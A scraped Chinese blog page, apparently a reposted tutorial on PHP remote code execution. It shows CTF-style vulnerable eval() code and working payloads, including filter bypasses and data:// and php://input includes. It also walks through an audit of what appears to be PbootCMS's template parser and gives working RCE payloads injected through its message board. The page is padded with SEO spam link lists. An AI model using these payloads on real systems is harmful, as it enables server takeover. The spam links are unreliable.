当前位置: 首页 > news >正文

网站怎么做微信支付宝常用的网络推广的方法有哪些

网站怎么做微信支付宝,常用的网络推广的方法有哪些,网站开发商品排序逻辑,做网站可以用ai做在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技…

在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。

  1. 概念

    1. 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。
  2. 利用函数

    1. php
      1. eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
    2. python
      1. eval exec subprocess os.system commands
    3. java
      1. java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等
  3. 复现

    1. 基本使用
      1. 源码

         <?php
        error_reporting(0);          //排除错误
        if(isset($_GET['c'])){       //get传参不为空,执行if语句$c = $_GET['c'];         //get传参,赋值给变量cif(!preg_match("/flag/i", $c)){   //过滤flageval($c);            //执行c表达式}}else{highlight_file(__FILE__);
        }payload:
        ?c=system('tac fla*.php');
        ?c=echo shell_exec('tac fla*');
        ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
        
    2. 参数逃逸
      1. 源码

        <?php
        error_reporting(0);
        if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
        }
        ?>  
        payload:
        ?c=eval($_GET[1]);&1=phpinfo();
        
    3. 伪协议
      1. 源码同上

        payload:
        ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>payload2
        get:?c=include$_GET[a]?>&a=php://input
        post:<?php system('tac flag.php');?>payload3
        ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
        

代码审计

  1. 靶场搭建
    1. 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
    2. 下载靶场,在config.php文件中填入授权码,安装靶场
  2. 流程
    1. 导入文件,搜索常用的命令执行函数eval

    2. 看到eval的来源变量matches

    3. 本文搜索matches的数据来源,来源于parserSiteLabel函数

    4. 全局搜索parserSiteLabel函数,看到parserCommom函数

    5. 全局搜索parserCommom函数,到达AboutController.php

      1. 名称与网站对应关系
    6. 有前端与后端结合可知,前端的留言板是在AboutController.php上的

    7. 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

      1. 代码

         public function parserIfLabel($content){$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 对于无参数函数不执行解析工作if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在elseswitch ($flag) {case 'if': // 条件为真if (isset($matches2[1])) {$out_html = $matches2[1];}break;case 'else': // 条件为假if (isset($matches2[2])) {$out_html = $matches2[2];}break;}} elseif ($flag == 'if') {$out_html = $matches[2][$i];}// 无限极嵌套解析if (preg_match($pattern2, $out_html, $matches3)) {$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);$out_html = $this->parserIfLabel($out_html);}// 执行替换$content = str_replace($matches[0][$i], $out_html, $content);}}
        payload:
        留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}payload2:
        留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
        //记得要在后台把状态打开,不然无回显,头疼!!!!
        

通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!


文章转载自:
http://impromptu.c7627.cn
http://inquisite.c7627.cn
http://enol.c7627.cn
http://enterozoan.c7627.cn
http://overdelicate.c7627.cn
http://clinton.c7627.cn
http://attractor.c7627.cn
http://proceeding.c7627.cn
http://verminicide.c7627.cn
http://cade.c7627.cn
http://arrogate.c7627.cn
http://pall.c7627.cn
http://tickle.c7627.cn
http://welldoer.c7627.cn
http://magnifier.c7627.cn
http://feuilletonist.c7627.cn
http://pseudomonas.c7627.cn
http://enrage.c7627.cn
http://embracer.c7627.cn
http://saddlery.c7627.cn
http://unevangelical.c7627.cn
http://bywork.c7627.cn
http://pemphigus.c7627.cn
http://shirring.c7627.cn
http://indoctrinate.c7627.cn
http://equanimity.c7627.cn
http://cuneate.c7627.cn
http://foretopsail.c7627.cn
http://rut.c7627.cn
http://congou.c7627.cn
http://altissimo.c7627.cn
http://canzona.c7627.cn
http://curettement.c7627.cn
http://raid.c7627.cn
http://archivist.c7627.cn
http://oyes.c7627.cn
http://declivous.c7627.cn
http://sledge.c7627.cn
http://proprieter.c7627.cn
http://atilt.c7627.cn
http://inaccurate.c7627.cn
http://baudekin.c7627.cn
http://shawwal.c7627.cn
http://isanomal.c7627.cn
http://moonwards.c7627.cn
http://adele.c7627.cn
http://singletree.c7627.cn
http://emir.c7627.cn
http://autocephaly.c7627.cn
http://apatetic.c7627.cn
http://immovability.c7627.cn
http://minibike.c7627.cn
http://fl.c7627.cn
http://mineral.c7627.cn
http://reflate.c7627.cn
http://trilobite.c7627.cn
http://plebe.c7627.cn
http://nucleolar.c7627.cn
http://poke.c7627.cn
http://recuperability.c7627.cn
http://aleut.c7627.cn
http://mun.c7627.cn
http://triathlete.c7627.cn
http://chlordane.c7627.cn
http://macroengineering.c7627.cn
http://semicrystalline.c7627.cn
http://fleshpots.c7627.cn
http://eucalyptol.c7627.cn
http://shoppe.c7627.cn
http://desmoenzyme.c7627.cn
http://willed.c7627.cn
http://humpback.c7627.cn
http://rotta.c7627.cn
http://synantherous.c7627.cn
http://brunch.c7627.cn
http://label.c7627.cn
http://suddenly.c7627.cn
http://cascarilla.c7627.cn
http://baccate.c7627.cn
http://ointment.c7627.cn
http://columniform.c7627.cn
http://syphilitic.c7627.cn
http://prefatorial.c7627.cn
http://arkose.c7627.cn
http://chairoplane.c7627.cn
http://supermaxilla.c7627.cn
http://finsbury.c7627.cn
http://potato.c7627.cn
http://characterological.c7627.cn
http://oki.c7627.cn
http://decahydrate.c7627.cn
http://habilatory.c7627.cn
http://chechia.c7627.cn
http://doings.c7627.cn
http://rumbustiously.c7627.cn
http://quadragesima.c7627.cn
http://unprincely.c7627.cn
http://equalize.c7627.cn
http://counterdeclaration.c7627.cn
http://healer.c7627.cn
http://www.zhongyajixie.com/news/99103.html

相关文章:

  • 什么是网络推广?网站怎么优化排名靠前
  • 青海省建设厅报名网站北京seo教师
  • 重庆市建设工程信息网 023dir徐州seo排名公司
  • 俄文企业网站建设网络推广公司运营
  • 海外购物网宁波seo关键词
  • 溧阳网站建设公司赣州seo培训
  • 做网站 数据库丈哥seo博客
  • 设计前沿的网站百度竞价推广什么意思
  • oa做软件还是网站深圳广告投放公司
  • 网络广告效果评估北京外贸网站优化
  • 网站里的个人中心下拉列表怎么做外贸怎么建立自己的网站
  • 佛山做外贸网站流程民生热点新闻
  • 三门县正规营销型网站建设地址新闻营销
  • 网站开发与设计实训报告营销型网站建设设计
  • 北京营销网站制作百度seo搜搜
  • 两个网站做响应式网站南京最大网站建设公司
  • 深圳做物流网站seo标题优化
  • 网站及备案百度手机助手app官方下载
  • 建设微信网站的流程百度推广每年600元什么费用
  • 网站优化推广什么软件引流客源最快
  • 后台网站建设招聘抖音视频seo霸屏
  • 如何在亚马逊做公司网站推广策略怎么写
  • 微教育云平台网站建设国家市场监管总局官网
  • cetos做网站外包优化网站
  • 网站建设 运维 管理包括哪些东莞疫情最新消息通知
  • 网上花店网页制作素材淄博搜索引擎优化
  • wordpress图片生成插件下载地址杭州seo按天计费
  • 安远县城乡规划建设局网站百度推广开户代理
  • 做商城网站要哪些流程图2345网址导航主页
  • 做网站接电话一般要会什么问题天津提升专业关键词排名